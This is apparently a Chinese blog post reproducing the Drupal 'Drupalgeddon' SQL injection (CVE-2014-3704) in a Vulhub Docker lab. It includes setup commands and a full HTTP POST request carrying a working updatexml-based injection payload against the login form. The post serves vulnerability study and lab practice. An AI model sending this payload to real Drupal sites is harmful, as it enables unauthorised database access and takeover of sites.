【漏洞复现】Drupal_小于7.32版本 _“Drupalgeddon” SQL注入漏洞(CVE-2014-3704)

感谢互联网提供分享知识与智慧,在法治的社会里,请遵守有关法律法规

文章目录

说明 内容
漏洞编号 CVE-2014-3704
漏洞名称 Drupal "Drupalgeddon" SQL注入漏洞
漏洞评级
影响范围 Drupal 7.0~7.31版本
漏洞描述
修复方案

1.1、漏洞描述

Drupal 是一款用量庞大的CMS,其7.0~7.31版本中存在一处无需认证的SQL漏洞。通过该漏洞,攻击者可以执行任意SQL语句,插入、修改管理员信息,甚至执行任意代码。

1.2、漏洞等级

1.3、影响版本

Drupal 7.0~7.31版本

1.4、漏洞复现

1、基础环境

Path:Vulhub/drupal/CVE-2014-3704


启动测试环境:

bash 复制代码
sudo docker-compose up -d

访问http://your-ip:8080/即可看到Drupal的安装页面,使用默认配置安装即可

其中,Mysql数据库名填写drupal,数据库用户名、密码为root,地址为mysql

2、漏洞扫描
3、漏洞验证

发送如下数据包:

bash 复制代码
POST /?q=node&destination=node HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 120

pass=lol&form_build_id=&form_id=user_login_block&op=Log+in&name[0 or updatexml(0,concat(0xa,user()),0)%23]=bob&name[0]=a
相关推荐
Allen Bright13 分钟前
【MySQL基础-20】MySQL条件函数全面解析:提升查询逻辑的利器
数据库·mysql
Justice link38 分钟前
企业级NoSql数据库Redis集群
数据库·redis·缓存
爱的叹息38 分钟前
主流数据库的存储引擎/存储机制的详细对比分析,涵盖关系型数据库、NoSQL数据库和分布式数据库
数据库·分布式·nosql
XiaoLeisj1 小时前
【MyBatis】深入解析 MyBatis XML 开发:增删改查操作和方法命名规范、@Param 重命名参数、XML 返回自增主键方法
xml·java·数据库·spring boot·sql·intellij-idea·mybatis
dleei2 小时前
MySql安装及SQL语句
数据库·后端·mysql
信徒_2 小时前
Mysql 在什么样的情况下会产生死锁?
android·数据库·mysql
嘴对嘴编程3 小时前
oracle数据泵操作
数据库·oracle
·薯条大王9 小时前
MySQL联合查询
数据库·mysql
morris13111 小时前
【redis】redis实现分布式锁
数据库·redis·缓存·分布式锁
hycccccch12 小时前
Canal+RabbitMQ实现MySQL数据增量同步
java·数据库·后端·rabbitmq